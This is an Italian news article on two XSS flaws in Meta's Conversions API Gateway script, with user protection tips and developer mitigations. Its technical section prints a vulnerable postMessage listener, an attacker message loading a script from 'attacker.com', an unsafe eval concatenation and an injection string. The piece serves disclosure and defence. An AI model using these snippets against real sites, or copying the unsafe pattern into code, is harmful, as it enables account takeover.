I ricercatori di sicurezza hanno identificato vulnerabilità XSS critiche nel Conversions API Gateway di Meta, un sistema che elabora dati pubblicitari per Facebook, Instagram e altre piattaforme Meta. La scoperta è preoccupante perché queste falle potrebbero permettere agli attaccanti di accedere agli account Facebook senza richiedere alcuna azione da parte dell’utente.
La buona notizia? Meta è già stata informata del problema e sta lavorando per risolverlo. Nel frattempo, ecco cosa devi sapere:
- Le vulnerabilità interessano: Domini Meta ufficiali (facebook.com, meta.com) e oltre 100 milioni di installazioni di terze parti del software open-source
- Il rischio principale: Furto di token di accesso, cambio email dell’account e controllo totale del profilo
- Chi è più a rischio: Utenti di Facebook su Android e visitatori di pagine Meta non protette
Cos’è il Conversions API Gateway e perché è importante
Per capire il problema, devi prima comprendere cosa fa questo gateway. Si tratta di uno strumento che le aziende utilizzano per inviare dati sugli eventi web direttamente ai server di Meta, invece di passare attraverso il browser dell’utente finale.
A differenza del tradizionale Pixel Facebook, che funziona nel browser e può essere bloccato da ad blocker o cookie manager, il Conversions API Gateway opera lato server, aggirando completamente queste protezioni.
Meta offre questo servizio in due forme:
- Versione ospitata: Disponibile su gw.conversionsapigateway.com
- Versione open-source: Che le aziende possono installare sui propri server
Il componente critico è un file JavaScript chiamato capig-events.js, che si carica automaticamente su tutti i siti Meta e su migliaia di altri siti web. Proprio questa ubiquità rende le vulnerabilità così pericolose: una falla in questo file colpisce l’intera catena di distribuzione.
Le due vulnerabilità scoperte
Prima vulnerabilità: validazione insufficiente dei messaggi
La prima falla riguarda il modo in cui capig-events.js gestisce i messaggi provenienti da altre finestre del browser (tecnicamente, i “postMessage”). Il codice JavaScript non verifica adeguatamente l’origine di questi messaggi.
Questo significa che un attaccante può:
- Hijackare un iframe (una finestra incorporata) su una pagina Meta
- Inviare un messaggio malevolo che fa caricare un file JavaScript dannoso
- Eseguire codice arbitrario nel contesto di meta.com
Su Android, gli attaccanti possono sfruttare una tecnica chiamata “window.name hijacking” per aggirare ulteriormente le protezioni.
Seconda vulnerabilità: XSS memorizzato nel backend
La seconda falla è ancora più grave. Quando gli amministratori creano regole di matching degli eventi usando lo strumento IWL di Meta, il backend non pulisce i dati inseriti prima di inserirli nel file capig-events.js.
Il codice JavaScript viene generato tramite semplice concatenazione di stringhe. Un attaccante che riesca a controllare questi dati può:
- Iniettare virgolette e parentesi per “rompere” la stringa
- Aggiungere codice JavaScript arbitrario
- Il payload viene poi servito a ogni utente che carica lo script compromesso
Questo è un XSS memorizzato: il codice malevolo rimane nel sistema e si attiva automaticamente per chiunque lo carichi, senza necessità di ingannare singoli utenti.
Impatto potenziale
Se sfruttate, queste vulnerabilità potrebbero permettere agli attaccanti di:
| Azione | Conseguenza |
|---|---|
| Rubare token CSRF | Accesso non autorizzato all’account |
| Cambiare indirizzo email | Perdita di controllo dell’account |
| Modificare password | Blocco permanente dell’utente |
| Accedere ai dati personali | Furto di identità |
| Compromettere sessioni autenticate | Accesso a informazioni sensibili |
Ciò che rende il problema ancora più critico è che il software è open-source e ampiamente distribuito. I ricercatori stimano che il Conversions API Gateway sia stato installato almeno 100 milioni di volte in tutto il mondo. Questo significa che non solo i siti Meta sono vulnerabili, ma anche migliaia di aziende che hanno implementato il gateway sui propri server.
Cosa sta facendo Meta
Meta è stata informata delle vulnerabilità e ha confermato che sta affrontando il problema. L’azienda è attesa affrontare le questioni prontamente per garantire la sicurezza e l’integrità dei suoi servizi.
Nel frattempo, Meta ha mantenuto protezioni come Content Security Policy (CSP) e Cross-Origin-Opener-Policy (COOP), anche se i ricercatori hanno trovato alcuni bypass in scenari specifici.
Come proteggerti
Ecco le azioni che puoi intraprendere:
- Monitora il tuo account: Controlla l’attività di accesso e le modifiche al profilo
- Usa l’autenticazione a due fattori: Aggiungi un livello di protezione supplementare
- Cambia la password: Se non l’hai fatto di recente, fallo ora
- Controlla le app collegate: Revoca l’accesso alle app che non usi più
- Stai attento ai link sospetti: Non cliccare su link da fonti non verificate
Se noti attività sospette sul tuo account, contatta immediatamente il supporto Meta.
Technical Deep Dive
Analisi tecnica della vulnerabilità client-side
La vulnerabilità nel capig-events.js sfrutta una mancanza di validazione sull’origine nei listener postMessage. Nel contesto del browser, il codice vulnerabile assomiglia a:
window.addEventListener('message', function(event) {
if (event.data.type === 'IWL_BOOTSTRAP') {
var scriptUrl = event.data.url;
loadScript(scriptUrl);
}
});
Il problema è che event.origin non viene verificato. Un attaccante che controlla un iframe può inviare un messaggio postMessage da qualsiasi origin:
parent.postMessage({
type: 'IWL_BOOTSTRAP',
url: 'https://attacker.com/malicious.js'
}, '*');
Su Android WebView, gli attaccanti sfruttano il fatto che window.opener non è sempre correttamente validato, permettendo di eseguire operazioni privilegiate dal contesto della WebView di Facebook.
Analisi della vulnerabilità stored XSS nel backend
La vulnerabilità nel backend è causata dalla generazione insicura di JavaScript. Il codice backend prende valori da una configurazione JSON e li concatena direttamente:
var config = '{"key": "' + userValue + '"}';
eval('var iwlConfig = ' + config);
Se un attaccante controlla userValue, può iniettare:
"; maliciousFunction(); //
Risultando in:
var config = '{"key": ""; maliciousFunction(); //"}';
Questo rompe la sintassi prevista e consente l’esecuzione di codice arbitrario.
Bypass delle protezioni CSP
I ricercatori hanno scoperto che su pagine Meta non autenticate (come pagine /help/), la Content Security Policy è più permissiva per consentire analytics di terze parti. Questo crea un vettore di attacco:
- Compromettere un subdomain o un dominio terzo allowlisted nella CSP
- Iniettare script da quel dominio
- Eseguire codice nel contesto di meta.com
Implicazioni per la supply chain
Poiché il Conversions API Gateway è open-source e ampiamente distribuito, la vulnerabilità stored XSS ha implicazioni critiche:
- Ogni installazione è potenzialmente vulnerabile fino a quando non viene aggiornata
- Gli amministratori potrebbero non essere consapevoli dell’esposizione
- La catena di distribuzione è compromessa: Un singolo payload malevolo colpisce milioni di utenti
Raccomandazioni per sviluppatori
Per mitigare vulnerabilità simili:
- Validazione stretta dell’origin: Verificare sempre
event.originnei listener postMessage - Sanitizzazione dell’input: Usare librerie come DOMPurify per pulire i dati utente
- Generazione sicura di codice: Evitare eval() e concatenazione di stringhe; usare template literals con escape appropriato
- CSP rigorosa: Implementare una Content Security Policy che non permetta inline scripts
- Subresource Integrity: Usare SRI per verificare l’integrità dei file JavaScript caricati da fonti esterne
- Audit di sicurezza regolari: Sottoporre il codice a revisioni di sicurezza indipendenti
Queste vulnerabilità evidenziano come anche le infrastrutture apparentemente robuste di aziende tecnologiche di grande scala possono contenere falle critiche. La natura distribuita e fidata del JavaScript nella supply chain publicitaria rende fondamentale l’implementazione di controlli di sicurezza rigorosi a ogni livello.
Fonte: https://gbhackers.com/critical-xss-vulnerabilities-in-meta-conversion-api/





